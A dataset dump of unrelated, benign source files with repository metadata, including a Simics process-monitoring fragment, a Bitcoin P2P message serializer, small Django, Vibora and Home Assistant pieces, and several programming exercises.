SIM_hap_delete_callback_id("Core_Breakpoint_Memop", self.task_rec_hap[pid])
del self.task_rec_hap[pid]
del self.task_rec_watch[pid]
self.watchExit(rec=dead_rec, pid = pid)
else:
self.lgr.debug('contextMgr resetAlone rec 0x%x of pid %d EXCEPT new list_addr is None call deadParrot' % (dead_rec, pid))
self.deadParrot(pid)
else:
self.lgr.debug('contextMgr resetAlone pid %d no record for pid, call deadParrot' % (pid))
self.deadParrot(pid)
if pid in self.demise_cache:
self.demise_cache.remove(pid)
def taskRecHap(self, pid, third, forth, memory):
self.lgr.debug('taskRecHap pid %d' % pid)
if pid not in self.task_rec_hap or pid in self.demise_cache:
return
dumb, comm, cur_pid = self.task_utils.curProc()
self.lgr.debug('contextManager taskRecHap demise of pid:%d by the hand of cur_pid %d?' % (pid, cur_pid))
dead_rec = self.task_utils.getRecAddrForPid(pid)
if dead_rec is not None:
if pid != cur_pid:
self.lgr.debug('contextManager taskRecHap got record 0x%x for %d, call resetAlone' % (dead_rec, pid))
self.demise_cache.append(pid)
SIM_run_alone(self.resetAlone, pid)
else:
self.lgr.debug('Pid %d messing with its own task rec? Let it go.' % pid)
else:
value = SIM_get_mem_op_value_le(memory)
self.lgr.debug('contextManager taskRecHap pid:%d wrote 0x%x to 0x%x watching for demise of %d' % (cur_pid, value, memory.logical_address, pid))
exit_syscall = self.top.getSyscall(self.cell_name, 'exit_group')
if exit_syscall is not None and not self.watching_page_faults:
ida_msg = 'pid:%d exit via kill?' % pid
self.killGroup(pid, exit_syscall)
#exit_syscall.handleExit(pid, ida_msg, killed=True)
else:
self.rmTask(pid)
if self.exit_callback is not None:
self.exit_callback()
def setExitCallback(self, callback):
self.exit_callback = callback
def watchGroupExits(self):
dumb, comm, cur_pid = self.task_utils.curProc()
leader_pid = self.task_utils.getGroupLeaderPid(cur_pid)
if leader_pid is None:
self.lgr.error('contextManager watchGroupExits no group leader for %d' % cur_pid)
self.lgr.debug('contextManager watchGroupExit cur_pid %d, leader %d' % (cur_pid, leader_pid))
pid_dict = self.task_utils.getGroupPids(leader_pid)
for pid in pid_dict:
self.watchExit(rec=pid_dict[pid], pid=pid)
def watchExit(self, rec=None, pid=None):
retval = True
''' set breakpoint on task record that points to this (or the given) pid '''
#self.lgr.debug('contextManager watchExit')
dumb, comm, cur_pid = self.task_utils.curProc()
if pid is None and cur_pid == 1:
self.lgr.debug('watchExit for pid 1, ignore')
return False
if pid is None:
pid = cur_pid
rec = self.task_utils.getCurTaskRec()
if rec is None:
self.lgr.error('contextManager watchExit failed to get list_addr pid %d cur_pid %d ' % (pid, cur_pid))
return False
list_addr = self.task_utils.getTaskListPtr(rec)
if list_addr is None:
''' suspect the thread is in the kernel, e.g., on a syscall, and has not yet been formally scheduled, and thus
has no place in the task list? OR all threads share the same next_ts pointer'''
#self.lgr.debug('contextManager watchExit failed to get list_addr pid %d cur_pid %d rec 0x%x' % (pid, cur_pid, rec))
return False
if pid not in self.task_rec_bp or self.task_rec_bp[pid] is None:
watch_pid, watch_comm = self.task_utils.getPidCommFromNext(list_addr)
if watch_pid in self.pid_cache:
#cell = self.resim_context
cell = self.default_context
else:
cell = self.default_context
#cell = self.resim_context
#self.lgr.debug('Watching next record of pid:%d (%s) for death of pid:%d' % (watch_pid, watch_comm, pid))
self.task_rec_bp[pid] = SIM_breakpoint(cell, Sim_Break_Linear, Sim_Access_Write, list_addr, self.mem_utils.WORD_SIZE, 0)
#bp = self.genBreakpoint(cell, Sim_Break_Linear, Sim_Access_Write, list_addr, self.mem_utils.WORD_SIZE, 0)
#self.lgr.debug('contextManager watchExit cur pid:%d set list break %d at 0x%x for pid %d context %s' % (cur_pid, self.task_rec_bp[pid],
# list_addr, pid, str(cell)))
#self.task_rec_hap[pid] = self.genHapIndex("Core_Breakpoint_Memop", self.taskRecHap, pid, bp)
#self.lgr.debug('contextManager watchExit pid %d bp: %d' % (pid, self.task_rec_bp[pid]))
self.task_rec_hap[pid] = SIM_hap_add_callback_index("Core_Breakpoint_Memop", self.taskRecHap, pid, self.task_rec_bp[pid])
self.task_rec_watch[pid] = list_addr
else:
#self.lgr.debug('contextManager watchExit, already watching for pid %d' % pid)
pass
return retval
def auditExitBreaks(self):
for pid in self.task_rec_watch:
rec = self.task_utils.getRecAddrForPid(pid)
if rec is None:
self.lgr.debug('contextManager auditExitBreaks failed to get task record for pid %d' % pid)
else:
list_addr = self.task_utils.getTaskListPtr(rec)
if list_addr is None:
''' suspect the thread is in the kernel, e.g., on a syscall, and has not yet been formally scheduled, and thus
has no place in the task list? '''
self.lgr.debug('contextManager auditExitBreaks failed to get list_addr pid %d rec 0x%x' % (pid, rec))
elif self.task_rec_watch[pid] is None:
watch_pid, watch_comm = self.task_utils.getPidCommFromNext(list_addr)
self.lgr.debug('contextManager auditExitBreaks rec_watch for %d is None, but taskUtils reports %d' % (pid, watch_pid))
elif list_addr != self.task_rec_watch[pid]:
watch_pid, watch_comm = self.task_utils.getPidCommFromNext(list_addr)
prev_pid, prev_comm = self.task_utils.getPidCommFromNext(self.task_rec_watch[pid])
self.lgr.debug('contextManager auditExitBreaks changed in record watch for death of %d, was watching %d, now %d' % (pid, watch_pid, prev_pid))
def setExitBreaks(self):
#self.lgr.debug('contextManager setExitBreaks')
for pid in self.task_rec_bp:
rec = self.task_utils.getRecAddrForPid(pid)
self.watchExit(rec, pid)
def clearExitBreaks(self):
self.lgr.debug('contextManager clearExitBreaks')
for pid in self.task_rec_bp:
if self.task_rec_bp[pid] is not None:
SIM_delete_breakpoint(self.task_rec_bp[pid])
self.task_rec_bp[pid] = None
#self.lgr.debug('contextManager clearExitBreaks pid:%d' % pid)
for pid in self.task_rec_hap:
if self.task_rec_hap[pid] is not None:
SIM_hap_delete_callback_id("Core_Breakpoint_Memop", self.task_rec_hap[pid])
self.task_rec_hap[pid] = None
def resetBackStop(self):
pass
def getIdaMessage(self):
return self.ida_message
def getDebugPid(self):
return self.debugging_pid, self.cpu
def showIdaMessage(self):
print 'genMonitor says: %s' % self.ida_message
self.lgr.debug('genMonitor says: %s' % self.ida_message)
def setIdaMessage(self, message):
#self.lgr.debug('ida message set to %s' % message)
self.ida_message = message
def getRESimContext(self):
return self.resim_context
def getDefaultContext(self):
return self.default_context
def watchPageFaults(self, watching):
self.watching_page_faults = watching
def callMe(self, pageFaultGen):
self.pageFaultGen = pageFaultGen
| [
"[email protected]"
] | |
52fac62da61576ec22dc52af49eaae937130bdfd | 9ec1242ae20b6f407f25a266456d83fb8a3d5f73 | /src/nellCoin/lib/messages.py | dd5b6fb432476e6c8530ccf6e7483d3a9b8685ad | [
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-public-domain",
"MIT"
] | permissive | Nell-MDCoin/Nell-MDCoin | 5b6d6af7e141844ba22970adacd4877d024e872b | 9a1be366aba13539132dc7d0a9f0fdeaa2e19044 | refs/heads/master | 2020-03-21T23:17:23.329553 | 2018-06-29T17:32:53 | 2018-06-29T17:32:53 | 139,177,535 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 9,907 | py | # messages.py
#
# Distributed under the MIT/X11 software license
from __future__ import absolute_import, division, print_function, unicode_literals
import struct
import time
import random
import cStringIO
from nellCoin.lib.coredefs import *
from nellCoin.lib.core import *
MSG_TX = 1
MSG_BLOCK = 2
class msg_version(object):
command = b"version"
def __init__(self, protover=PROTO_VERSION):
self.protover = MIN_PROTO_VERSION
self.nVersion = protover
self.nServices = 1
self.nTime = time.time()
self.addrTo = CAddress(MIN_PROTO_VERSION)
self.addrFrom = CAddress(MIN_PROTO_VERSION)
self.nNonce = random.getrandbits(64)
self.strSubVer = b'/python-bitcoin-0.0.1/'
self.nStartingHeight = -1
def deserialize(self, f):
self.nVersion = struct.unpack(b"<i", f.read(4))[0]
if self.nVersion == 10300:
self.nVersion = 300
self.nServices = struct.unpack(b"<Q", f.read(8))[0]
self.nTime = struct.unpack(b"<q", f.read(8))[0]
self.addrTo = CAddress(MIN_PROTO_VERSION)
self.addrTo.deserialize(f)
if self.nVersion >= 106:
self.addrFrom = CAddress(MIN_PROTO_VERSION)
self.addrFrom.deserialize(f)
self.nNonce = struct.unpack(b"<Q", f.read(8))[0]
self.strSubVer = deser_string(f)
if self.nVersion >= 209:
self.nStartingHeight = struct.unpack(b"<i", f.read(4))[0]
else:
self.nStartingHeight = None
else:
self.addrFrom = None
self.nNonce = None
self.strSubVer = None
self.nStartingHeight = None
def serialize(self):
r = b""
r += struct.pack(b"<i", self.nVersion)
r += struct.pack(b"<Q", self.nServices)
r += struct.pack(b"<q", self.nTime)
r += self.addrTo.serialize()
r += self.addrFrom.serialize()
r += struct.pack(b"<Q", self.nNonce)
r += ser_string(self.strSubVer)
r += struct.pack(b"<i", self.nStartingHeight)
return r
def __repr__(self):
return "msg_version(nVersion=%i nServices=%i nTime=%s addrTo=%s addrFrom=%s nNonce=0x%016X strSubVer=%s nStartingHeight=%i)" % (self.nVersion, self.nServices, time.ctime(self.nTime), repr(self.addrTo), repr(self.addrFrom), self.nNonce, self.strSubVer, self.nStartingHeight)
class msg_verack(object):
command = b"verack"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
def deserialize(self, f):
pass
def serialize(self):
return b""
def __repr__(self):
return "msg_verack()"
class msg_addr(object):
command = b"addr"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
self.addrs = []
def deserialize(self, f):
self.addrs = deser_vector(f, CAddress, self.protover)
def serialize(self):
return ser_vector(self.addrs)
def __repr__(self):
return "msg_addr(addrs=%s)" % (repr(self.addrs))
class msg_alert(object):
command = b"alert"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
self.alert = CAlert()
def deserialize(self, f):
self.alert = CAlert()
self.alert.deserialize(f)
def serialize(self):
r = b""
r += self.alert.serialize()
return r
def __repr__(self):
return "msg_alert(alert=%s)" % (repr(self.alert), )
class msg_inv(object):
command = b"inv"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
self.inv = []
def deserialize(self, f):
self.inv = deser_vector(f, CInv)
def serialize(self):
return ser_vector(self.inv)
def __repr__(self):
return "msg_inv(inv=%s)" % (repr(self.inv))
class msg_getdata(object):
command = b"getdata"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
self.inv = []
def deserialize(self, f):
self.inv = deser_vector(f, CInv)
def serialize(self):
return ser_vector(self.inv)
def __repr__(self):
return "msg_getdata(inv=%s)" % (repr(self.inv))
class msg_getblocks(object):
command = b"getblocks"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
self.locator = CBlockLocator()
self.hashstop = 0
def deserialize(self, f):
self.locator = CBlockLocator()
self.locator.deserialize(f)
self.hashstop = deser_uint256(f)
def serialize(self):
r = b""
r += self.locator.serialize()
r += ser_uint256(self.hashstop)
return r
def __repr__(self):
return "msg_getblocks(locator=%s hashstop=%064x)" % (repr(self.locator), self.hashstop)
class msg_getheaders(object):
command = b"getheaders"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
self.locator = CBlockLocator()
self.hashstop = 0
def deserialize(self, f):
self.locator = CBlockLocator()
self.locator.deserialize(f)
self.hashstop = deser_uint256(f)
def serialize(self):
r = b""
r += self.locator.serialize()
r += ser_uint256(self.hashstop)
return r
def __repr__(self):
return "msg_getheaders(locator=%s hashstop=%064x)" % (repr(self.locator), self.hashstop)
class msg_headers(object):
command = b"headers"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
self.headers = []
def deserialize(self, f):
self.headers = deser_vector(f, CBlock)
def serialize(self):
return ser_vector(self.headers)
def __repr__(self):
return "msg_headers(headers=%s)" % (repr(self.headers))
class msg_tx(object):
command = b"tx"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
self.tx = CTransaction()
def deserialize(self, f):
self.tx.deserialize(f)
def serialize(self):
return self.tx.serialize()
def __repr__(self):
return "msg_tx(tx=%s)" % (repr(self.tx))
class msg_block(object):
command = b"block"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
self.block = CBlock()
def deserialize(self, f):
self.block.deserialize(f)
def serialize(self):
return self.block.serialize()
def __repr__(self):
return "msg_block(block=%s)" % (repr(self.block))
class msg_getaddr(object):
command = b"getaddr"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
def deserialize(self, f):
pass
def serialize(self):
return b""
def __repr__(self):
return "msg_getaddr()"
#msg_checkorder
#msg_submitorder
#msg_reply
class msg_ping(object):
command = b"ping"
def __init__(self, protover=PROTO_VERSION, nonce=0):
self.protover = protover
self.nonce = nonce
def deserialize(self, f):
if self.protover > BIP0031_VERSION:
self.nonce = struct.unpack(b"<Q", f.read(8))[0]
def serialize(self):
r = b""
if self.protover > BIP0031_VERSION:
r += struct.pack(b"<Q", self.nonce)
return r
def __repr__(self):
return "msg_ping(0x%x)" % (self.nonce,)
class msg_pong(object):
command = b"pong"
def __init__(self, protover=PROTO_VERSION, nonce=0):
self.protover = protover
self.nonce = nonce
def deserialize(self, f):
self.nonce = struct.unpack(b"<Q", f.read(8))[0]
def serialize(self):
r = b""
r += struct.pack(b"<Q", self.nonce)
return r
def __repr__(self):
return "msg_pong(0x%x)" % (self.nonce,)
class msg_mempool(object):
command = b"mempool"
def __init__(self, protover=PROTO_VERSION):
self.protover = protover
def deserialize(self, f):
pass
def serialize(self):
return b""
def __repr__(self):
return "msg_mempool()"
messagemap = {
"version": msg_version,
"verack": msg_verack,
"addr": msg_addr,
"alert": msg_alert,
"inv": msg_inv,
"getdata": msg_getdata,
"getblocks": msg_getblocks,
"tx": msg_tx,
"block": msg_block,
"getaddr": msg_getaddr,
"ping": msg_ping,
"pong": msg_pong,
"mempool": msg_mempool
}
def message_read(netmagic, f):
try:
recvbuf = f.read(4 + 12 + 4 + 4)
except IOError:
return None
# check magic
if len(recvbuf) < 4:
return
if recvbuf[:4] != netmagic.msg_start:
raise ValueError("got garbage %s" % repr(recvbuf))
# check checksum
if len(recvbuf) < 4 + 12 + 4 + 4:
return
# remaining header fields: command, msg length, checksum
command = recvbuf[4:4+12].split(b"\x00", 1)[0]
msglen = struct.unpack(b"<i", recvbuf[4+12:4+12+4])[0]
checksum = recvbuf[4+12+4:4+12+4+4]
# read message body
try:
recvbuf += f.read(msglen)
except IOError:
return None
msg = recvbuf[4+12+4+4:4+12+4+4+msglen]
th = hashlib.sha256(msg).digest()
h = hashlib.sha256(th).digest()
if checksum != h[:4]:
raise ValueError("got bad checksum %s" % repr(recvbuf))
recvbuf = recvbuf[4+12+4+4+msglen:]
if command in messagemap:
f = cStringIO.StringIO(msg)
t = messagemap[command]()
t.deserialize(f)
return t
else:
return None
def message_to_str(netmagic, message):
command = message.command
data = message.serialize()
tmsg = netmagic.msg_start
tmsg += command
tmsg += b"\x00" * (12 - len(command))
tmsg += struct.pack(b"<I", len(data))
# add checksum
th = hashlib.sha256(data).digest()
h = hashlib.sha256(th).digest()
tmsg += h[:4]
tmsg += data
return tmsg
| [
"[email protected]"
] | |
9d9c1305ed57e2a327da571c32f06702b2a1fc11 | f0d713996eb095bcdc701f3fab0a8110b8541cbb | /Akx92Ldcy78xp5zCF_4.py | 9d5e1d493ab24f7c6508ffe8f4080fda61583184 | [] | no_license | daniel-reich/turbo-robot | feda6c0523bb83ab8954b6d06302bfec5b16ebdf | a7a25c63097674c0a81675eed7e6b763785f1c41 | refs/heads/main | 2023-03-26T01:55:14.210264 | 2021-03-23T16:08:01 | 2021-03-23T16:08:01 | 350,773,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 669 | py | """
The function is given two strings `t` \- template, `s` \- to be sorted. Sort
the characters in `s` such that if the character is present in `t` then it is
sorted according to the order in `t` and other characters are sorted
alphabetically after the ones found in `t`.
### Examples
custom_sort("edc", "abcdefzyx") ➞ "edcabfxyz"
custom_sort("fby", "abcdefzyx") ➞ "fbyacdexz"
custom_sort("", "abcdefzyx") ➞ "abcdefxyz"
custom_sort("", "") ➞ ""
### Notes
The characters in `t` and `s` are all lower-case.
"""
def custom_sort(t, s):
return ''.join(sorted(list(s), key=lambda x: t.index(x) if x in t else ord(x) ))
| [
"[email protected]"
] | |
dffb8f1d28234925bf2aa668f60bba767b675746 | f1a5d89b17e3bf0f354546cc47c329a81f15dfc9 | /apps/__init__.py | 9827ad08f3307fbdc79dfbb87ce314af564b62c8 | [] | no_license | lucassimon/civilizations | 067193e17e7651a9fecb53f2b6e459c15ff4c97b | db8db27bb56ccda8c23059de88c60ef8d9670cb0 | refs/heads/master | 2020-03-29T13:16:01.025175 | 2018-12-29T18:22:45 | 2018-12-29T18:22:45 | 149,949,155 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 499 | py | # -*- coding: utf-8 -*-
# Python Libs.
from vibora import Vibora, Response
# -*- coding: utf-8 -*-
from vibora.hooks import Events
from .config import config
from .api import api
def create_app(config_name):
app = Vibora()
@app.handle(Events.AFTER_ENDPOINT)
async def before_response(response: Response):
response.headers['x-my-custom-header'] = 'Hello :)'
app.components.add(config[config_name]())
app.add_blueprint(api, prefixes={'v1': '/v1'})
return app
| [
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] | |
367d5083a97e5d006b5ed778da35518abfec3376 | 3f50e7f6894fc8eea825502b846dc0967493f7a4 | /doc-src/objects/index.py | 53bceb10edb9127c2df0acace412c55eba5bbc78 | [
"MIT"
] | permissive | bavardage/qtile | 92e62bc3195f3cfb0059afaa3dd008bd490caa6a | c384d354f00c8d025d0eff3e5e292303ad4b4e58 | refs/heads/master | 2021-01-16T00:49:34.141225 | 2009-03-26T16:54:51 | 2009-03-26T16:54:51 | 106,682 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 235 | py | from countershape.doc import *
pages = [
Page("barsngaps.html", "Bars and Gaps"),
Page("groups.html", "Groups"),
Page("layouts.html", "Layouts"),
Page("screens.html", "Screens"),
Page("widgets.html", "Widgets"),
]
| [
"[email protected]"
] | |
986d770ae16a5a17ea8ab21a9c8611ad9ec844f3 | e62b1e748582584a5c2a05fff970fe09e72752b4 | /app/migrations/0084_auto_20200312_2145.py | 78c8618744d5f9bd75ef8f090009cc7f7e073750 | [] | no_license | wlodekf/jpk | 5957b515ecbcded9b4f27d6a0785ee89e3a0d585 | 1c200350f57469e890a124d07f741d836d9a0833 | refs/heads/master | 2023-07-10T20:15:11.111276 | 2021-08-11T12:21:14 | 2021-08-11T12:21:14 | 394,978,461 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 645 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.14.dev20170906233242 on 2020-03-12 21:45
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0083_auto_20200304_1321'),
]
operations = [
migrations.AddField(
model_name='plik',
name='kod_systemowy',
field=models.CharField(max_length=20, null=True),
),
migrations.AddField(
model_name='plik',
name='wersja_schemy',
field=models.CharField(max_length=5, null=True),
),
]
| [
"[email protected]"
] | |
204aa6d13a66a0db1220d1ef9864c83c98c175d0 | efd6a277c2d5bffdfba6ccb4d5efd555e652d29e | /chap7/7.7.py | 7c207a1ed18a1835e5860abdacf3a292352aca05 | [] | no_license | CavalcanteLucas/cookbook | dd57583c8b5271879bb086783c12795d1c0a7ee8 | 09ac71e291571e3add8d23d79b1684b356702a40 | refs/heads/master | 2020-03-25T03:09:39.608599 | 2019-09-13T04:43:23 | 2019-09-13T04:43:23 | 143,325,952 | 0 | 0 | null | 2020-09-25T05:46:30 | 2018-08-02T17:32:08 | Python | UTF-8 | Python | false | false | 45 | py | # Capturing Variable in Anonymous Functions
| [
"[email protected]"
] | |
d4e579745fae8a47e60cc476411f97325d51b3fc | 9a9e47d9cf1f663de411218a533c10bbf288cc9d | /config/wsgi.py | bc1f238dd14822d7df2fe5c0fdcf05f70c23e3ec | [
"MIT"
] | permissive | eyobofficial/Gebeya-Schedule-Bot | 110f862a5e905c127e23ec0ad9bc9406f4180859 | 8c757fa8c26cf5dda6f917997c521d0f37b28aa9 | refs/heads/development | 2022-12-14T10:23:17.323365 | 2019-09-16T18:28:37 | 2019-09-16T18:28:37 | 204,556,349 | 3 | 2 | MIT | 2022-04-22T22:17:15 | 2019-08-26T20:31:16 | Python | UTF-8 | Python | false | false | 442 | py | """
WSGI config for config project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/
"""
import os
from decouple import config
from django.core.wsgi import get_wsgi_application
os.environ.setdefault(
"DJANGO_SETTINGS_MODULE",
config("DJANGO_SETTINGS_MODULE")
)
application = get_wsgi_application()
| [
"[email protected]"
] | |
fe67b587acb41838b627af66ca34a11ad458a34e | 7aa4e4bfee6b0a265a4bcf1b7f81291f3299f43b | /Day17/quiz_brain.py | 144287abfa11e8d10c95fbeb19d7332d51e1fc84 | [] | no_license | fazer1929/100DaysOfCode_Python | 464b54e33fdda25f985a4a7fde327ceafc88fa93 | 313cd77ad7266b18fd2442548569cf96f330ce26 | refs/heads/main | 2023-05-05T01:59:48.936964 | 2021-05-30T14:34:57 | 2021-05-30T14:34:57 | 311,775,381 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 868 | py | class QuizBrain:
def __init__(self,qlist):
self.question_list = qlist
self.question_number = 0
self.score = 0
def nextQuestion(self):
self.question_number += 1
question = self.question_list[self.question_number]
ans = input(f"Q.{self.question_number}: {question.text} (True/False)? : ")
self.checkAnswer(ans)
def stillHasQuestion(self):
return self.question_number < len(self.question_list)
def checkAnswer(self,ans):
if(ans.lower() == self.question_list[self.question_number].ans.lower()):
print("You Got It Right!")
self.score += 1
else:
print("You Got It Wrong!!!")
print(f"The Correct Answer Was {self.question_list[self.question_number].ans}")
print(f"Your Current Score is {self.score}/{self.question_number}") | [
"[email protected]"
] | |
466bd43facef0ff807850dc4caf2a5d061758411 | 72af42076bac692f9a42e0a914913e031738cc55 | /01, 특강_210705_0706/02, source/CookData(2021.01.15)/Code03-02.py | 77bba4c75ad3200137cbc7e4f6f9c010afb45baa | [] | no_license | goareum93/Algorithm | f0ab0ee7926f89802d851c2a80f98cba08116f6c | ec68f2526b1ea2904891b929a7bbc74139a6402e | refs/heads/master | 2023-07-01T07:17:16.987779 | 2021-08-05T14:52:51 | 2021-08-05T14:52:51 | 376,908,264 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 536 | py | katok = ["다현", "정연", "쯔위", "사나", "지효"]
def insert_data(position, friend) :
if position < 0 or position > len(katok) :
print("데이터를 삽입할 범위를 벗어났습니다.")
return
katok.append(None) # 빈칸 추가
kLen = len(katok) # 배열의 현재 크기
for i in range(kLen-1, position, -1) :
katok[i] = katok[i-1]
katok[i-1] = None
katok[position] = friend # 지정한 위치에 친구 추가
insert_data(2, '솔라')
print(katok)
insert_data(6, '문별')
print(katok)
| [
"[email protected]"
] | |
65f9cfdb3e2d22893d9a562025b9bd322fc2b5d5 | ca8fe12def17494b4fd8a97664d7d9fcb1f9121f | /notifier.py | 5541ce560a39a17898c3957aad22a6fb585f744f | [] | no_license | pondelion/PassiveHealthMonitor | 0d52c71bc8b8aa327680ef7585bd24a608bd4385 | 4072c4c161a0d4d1c7e86931edb70b4c076e96e4 | refs/heads/main | 2023-04-25T16:06:12.784931 | 2021-05-15T03:49:35 | 2021-05-15T03:49:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 514 | py | from abc import ABCMeta, abstractmethod
from overrides import overrides
class Notifier(metaclass=ABCMeta):
@abstractmethod
def notify(
self,
monitoring_target: str,
notified_cpunt: int
) -> None:
raise NotImplementedError
class MockNotifier(Notifier):
@overrides
def notify(
self,
monitoring_target: str,
notified_cpunt: int
) -> None:
print(f'{monitoring_target} : {notified_cpunt}')
DefaultNotifier = MockNotifier
| [
"[email protected]"
] | |
f7721c25cf493ef1ded4213a2d67b41a3474dcfc | 14b5679d88afa782dc5d6b35878ab043089a060a | /students/贾帅杰/home0529/hachina5.py | 36d8ba5bc9fbfdee8285432c97c1d565fbda2281 | [] | no_license | mutiangua/EIS2020 | c541ef32623f67f9277945cd39cff3c02f06e4dd | 92aa2711b763a2c93be238825c445bf2db8da391 | refs/heads/master | 2022-11-18T05:21:47.567342 | 2020-07-11T10:11:21 | 2020-07-11T10:11:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,617 | py | # 引入datetime库用于方便时间相关计算
from datetime import timedelta
import logging
import voluptuous as vol
# 引入HomeAssitant中定义的一些类与函数
# track_time_interval是监听时间变化事件的一个函数
from homeassistant.helpers.event import track_time_interval
import homeassistant.helpers.config_validation as cv
DOMAIN = "hachina5"
ENTITYID = DOMAIN + ".hello_world"
CONF_STEP = "step"
DEFAULT_STEP = 3
#f=open("C:\\Users\\23004\\AppData\\Roaming\\.homeassistant\\custom_components\\num.txt", "r")
# 定义时间间隔为3秒钟
TIME_BETWEEN_UPDATES = timedelta(seconds=1)
_LOGGER = logging.getLogger(__name__)
CONFIG_SCHEMA = vol.Schema(
{
DOMAIN: vol.Schema(
{
# 一个配置参数“step”，只能是正整数，缺省值为3
vol.Optional(CONF_STEP, default=DEFAULT_STEP): cv.positive_int,
}),
},
extra=vol.ALLOW_EXTRA)
def setup(hass, config):
"""配置文件加载后，setup被系统调用."""
conf = config[DOMAIN]
step = conf.get(CONF_STEP)
_LOGGER.info("Get the configuration %s=%d",
CONF_STEP, step)
attr = {"icon": "mdi:yin-yang",
"friendly_name": "Door",
"slogon": "积木构建智慧空间！",
"unit_of_measurement": ""}
# 构建类GrowingState
GrowingState(hass, step, attr)
return True
class GrowingState(object):
"""定义一个类，此类中存储了状态与属性值，并定时更新状态."""
def __init__(self, hass, step, attr):
"""GrwoingState类的初始化函数，参数为hass、step和attr."""
# 定义类中的一些数据
self._hass = hass
self._step = step
self._attr = attr
self._state = 0
# 在类初始化的时候，设置初始状态
self._hass.states.set(ENTITYID, self._state, attributes=self._attr)
# 每隔一段时间，更新一下实体的状态
track_time_interval(self._hass, self.update, TIME_BETWEEN_UPDATES)
def update(self, now):
f=open("C:\Apache24\htdocs\\index.html", "r")
data = f.read() # 读取文件
#datas=data[-4:]
"""在GrowingState类中定义函数update,更新状态."""
_LOGGER.info("GrowingState is "+data)
# 状态值每次增加step
self._state = self._state + self._step
# 设置新的状态值
self._hass.states.set(ENTITYID, data, attributes=self._attr)
| [
"[email protected]"
] | |
7023ccfa04ae9db5e41aa1991b5c1bdc4d513f2a | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02948/s243741324.py | 2cffaa3be99d436febcc3c638d3fc41cc448b571 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 491 | py | from heapq import heappop,heappush,heapify
from collections import deque
N,M=map(int,input().split())
A,B,C = [0]*N,[0]*N,[0]*N
for i in range(N):
A[i],B[i] = map(int,input().split())
C[i]=[A[i],B[i]]
C.sort()
C=deque(C)
a=[]
heapify(a)
ans=0
for i in range(M,-1,-1):
while C:
if C[0][0]<=M-i:
heappush(a,(-1)*C[0][1])
C.popleft()
else:
break
if len(a)>0:
p = heappop(a)
ans += (-1)*p
print(ans) | [
"[email protected]"
] | |
4749a3c0908091555e12a2d95d89a42aa01f83f6 | b1571f4ee376d789b8094777fd81c4fb47a89cf1 | /AtCoder/練習/Beginners Selection/ABC087B.py | 23846c48ce3cc1eb755514d5511a6d7951002ae6 | [] | no_license | hiroyaonoe/Competitive-programming | e49e43f8853602ba73e658cab423bd91ebbe9286 | 2949e10eec3a38498bedb57ea41a2491916bab1c | refs/heads/master | 2021-06-23T21:56:33.232931 | 2021-05-30T15:27:31 | 2021-05-30T15:27:31 | 225,863,783 | 2 | 0 | null | 2020-06-14T17:54:28 | 2019-12-04T12:37:24 | Python | UTF-8 | Python | false | false | 595 | py | a=int(input())
b=int(input())
c=int(input())
x=int(input())
cnt=0
for i in range(a+1):
for j in range(b+1):
for k in range(c+1):
if x == 500*i+100*j+50*k:cnt+=1
print(cnt)
'''
coinA=min(a,x//500)
coinB=min(b,(x-coinA*500)//100)
coinC=min(c,(x-coinB*100)//50)
cnt=0
changeB=coinB
changeC=coinC
if 500*coinA+100*coinB+50*coinC>=x:
while coinA>=0:
while 0<=changeB<=b:
if 0<=changeC<=c:
cnt+=1
changeB-=1
changeC+=2
changeB=coinB
changeC=coinC
coinA-=1
changeB+=5
print(cnt)
''' | [
"[email protected]"
] | |
c23dd5e12ae719e7b4616d5f20ac6bbd59a2fadb | 4073f351551c2f73c5659cb3038a68360cc5b369 | /Lärobok/kap 6/kap. 6, sid. 76 - sätta ihop strängar.py | a6ec6841d16836e6f2de9f964e810fd69f375383 | [
"MIT"
] | permissive | Pharou/programmering1python | b9a5aca72354d3e7e91a5023a621d22a962ecd7c | 9b689027db1f7fbf06925f3094fcb126880453e4 | refs/heads/master | 2022-11-28T06:33:17.295157 | 2020-07-25T11:02:07 | 2020-07-25T11:02:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 572 | py | #!/usr/bin/python3.8
# Filnamn: kap. 6, sid. 76 - sätta ihop strängar.py
# Programmering 1 med Python - Lärobok
# Kapitel 6 - Mer om teckensträngar i Python
# Med plustecken kan du slå samman flera strängar till en enda.
# Det kallas även konkatenering av strängar
fn = 'Tage'
ln = 'Test'
name = fn + ln
print(name)
# Som du ser så skrivs inget mellanslag ut i den första print-satsen,
# det måste du manuellt lägga in själv
name = fn + ' ' + ln
print(name)
# Upprepning av strängar görs med multiplikationstecknet *
print(3 * 'Hola!')
print(15 * '-') | [
"[email protected]"
